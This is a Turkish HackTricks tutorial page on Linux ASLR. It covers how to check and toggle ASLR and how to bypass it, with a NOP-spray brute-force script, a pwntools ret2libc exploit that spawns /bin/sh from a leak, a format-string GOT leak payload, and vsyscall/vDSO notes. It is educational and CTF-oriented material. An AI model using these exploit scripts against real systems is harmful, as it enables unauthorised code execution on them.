hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md

294 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ASLR
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini **rastgeleleştirir**. Böylece, belirli süreçlerin ve verilerin konumunu, özellikle tampon taşmalarını hafifleten, yığın, bellek havuzu ve kütüphaneler gibi belirli türdeki saldırıları tahmin etmeyi önemli ölçüde zorlaştırır.
### **ASLR Durumunu Kontrol Etme**
Linux sistemlerinde ASLR durumunu **kontrol etmek** için, ASLR'nin uygulandığı türü belirleyen **`/proc/sys/kernel/randomize_va_space`** dosyasından değeri okuyabilirsiniz:
* **0**: Rastgeleleştirme yok. Her şey statiktir.
* **1**: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilir.
* **2**: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra `brk()` ile yönetilen bellek de rastgeleleştirilir.
ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **ASLR'nin Devre Dışı Bırakılması**
ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakabileceğiniz:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Ayrıca, bir yürütme için ASLR'yi devre dışı bırakabilirsiniz:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **ASLR'yi Etkinleştirme**
ASLR'yi **etkinleştirmek** için, genellikle kök ayrıcalıkları gerektiren `/proc/sys/kernel/randomize_va_space` dosyasına **2** değerini yazabilirsiniz. Tam rasgeleleştirme etkinleştirme aşağıdaki komutla yapılabilir:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Yeniden Başlatmalara Karşı Kalıcılık**
`echo` komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
`/etc/sysctl.conf` dosyasını düzenledikten sonra değişiklikleri uygulamak için:
```bash
sudo sysctl -p
```
Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacaktır.
## **Atlatmalar**
### 32 bit kaba kuvvet saldırısı
PaX işlem adres alanını **3 gruba** ayırır:
* **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir.
* `mmap()` tarafından ayrılan **Bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` adında.
* **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. ile 20. bayt arasında dahil), **16 bayt**'a hizalanmıştır —> Bu, **524,288 olası gerçek yığın adresine** yol açar.
Önceki veriler 32 bit sistemler içindir ve azaltılmış son entropi, saldırı başarılı bir şekilde tamamlanana kadar işlemi tekrar tekrar deneyerek ASLR'yi atlamayı mümkün kılar.
#### Kaba kuvvet fikirleri:
* **Kod enjeksiyonundan önce büyük bir NOP kaydı barındıracak kadar büyük bir taşma varsa**, yığında adresleri kaba kuvvetle deneyebilir ve akışın **NOP kaydının bir kısmını atlamasını sağlayabilirsiniz**.
* Taşma o kadar büyük değilse ve saldırı yerel olarak çalıştırılabilirse, **NOP kaydını ve kod enjeksiyonunu bir ortam değişkenine eklemek mümkündür**.
* Saldırı yerel ise, libc'nin temel adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için faydalıdır):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Uzak bir sunucuyu hedef alıyorsanız, `usleep` `libc` fonksiyonunun adresini **kaba kuvvet uygulayabilirsiniz**, örneğin 10'u argüman olarak geçirerek. Eğer sunucu **yanıt vermek için 10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir.
{% hint style="success" %}
64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.
{% endhint %}
### 64 bit yığın kaba kuvvet saldırısı
Çevre değişkenleriyle yığının büyük bir kısmını işgal etmek mümkündür ve ardından yerel olarak binleri/yüzleri kez kötüye kullanmak için denemelerde bulunabilirsiniz.\
Aşağıdaki kod, yığında **sadece bir adresi seçmenin** mümkün olduğunu ve her **birkaç yüz kez çalıştırıldığında** bu adresin **NOP talimatını** içereceğini göstermektedir:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
```python
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../.gitbook/assets/image (1211).png" alt="" width="563"><figcaption></figcaption></figure>
### Yerel Bilgiler (`/proc/[pid]/stat`)
Bir işlemin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve içinde şu gibi **ilginç bilgiler** bulunur:
- **startcode** & **endcode**: Binary'nin **TEXT** kısmının üstünde ve altındaki adresler
- **startstack**: **Stack**'in başlangıç adresi
- **start\_data** & **end\_data**: **BSS**'nin üstünde ve altındaki adresler
- **kstkesp** & **kstkeip**: Mevcut **ESP** ve **EIP** adresleri
- **arg\_start** & **arg\_end**: **cli argümanlarının** üstünde ve altındaki adresler
- **env\_start** & **env\_end**: **Çevre değişkenlerinin** üstünde ve altındaki adresler
Bu nedenle, saldırgan, söz konusu binary'nin aynı bilgisayarda olduğu ve bu binary'nin ham argümanlardan taşma beklemiyor olması durumunda, fakat bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girişten taşma** bekliyorsa, saldırganın **bu dosyadan bazı adresleri alıp bunlardan exploit için ofsetler oluşturması mümkündür**.
{% hint style="success" %}
Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` araması yapın.
{% endhint %}
### Bir sızıntıya sahip olmak
- **Zorluk, bir sızıntı vermek**
Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntıdan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayalım). Bu örnek exploit, [**buradaki örneğin**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) çıkarımıdır (daha fazla ayrıntı için o sayfaya bakın):
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
* **ret2plt**
Bir tampon taşması kullanarak **ret2plt**'yi istismar etmek, libc'den bir işlevin adresini dışa aktarmak mümkün olabilir. Kontrol edin:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
{% endcontent-ref %}
* **Format Strings Arbitrary Read**
Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yetkiniz varsa, bir **libc işlevi**nin adresini GOT'tan dışa aktarmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Format Strings arbitrary read hakkında daha fazla bilgiyi aşağıda bulabilirsiniz:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
### Ret2ret & Ret2pop
Stack içindeki adresleri istismar ederek ASLR'yi atlamaya çalışın:
{% content-ref url="ret2ret.md" %}
[ret2ret.md](ret2ret.md)
{% endcontent-ref %}
### vsyscall
**`vsyscall`** mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmak için hizmet verir. **vsyscalls**'ın kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adreslerinde** yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamaları anlamına gelir.\
Ancak, burada çok ilginç araçlar bulunmayacak (örneğin, bir `ret;` eşdeğerini almak mümkündür)
(Aşağıdaki örnek ve kod [**bu yazıdan**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation) alınmıştır)
Örneğin, bir saldırgan, bir saldırıda `0xffffffffff600800` adresini kullanabilir. Doğrudan bir `ret` talimatına atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilir, ancak yürütmenin **vsyscall** bölümü tarafından sağlanan bir `syscall`'ın başına atlaması başarılı olabilir. Bir **ROP** aracını dikkatlice yerleştirerek yürütmenin bu **vsyscall** adresine ulaşmasını sağlayan bir saldırgan, bu saldırının bu kısmı için **ASLR**'yi atlamaya gerek duymadan kod yürütme başarısına ulaşabilir.
```
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Bu nedenle, **kernel CONFIG\_COMPAT\_VDSO ile derlenmişse vdso'nun adresi rastgele hale getirilmeyeceğinden ASLR'yi atlayabilir**. Daha fazla bilgi için şuraya bakın:
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
{% endcontent-ref %}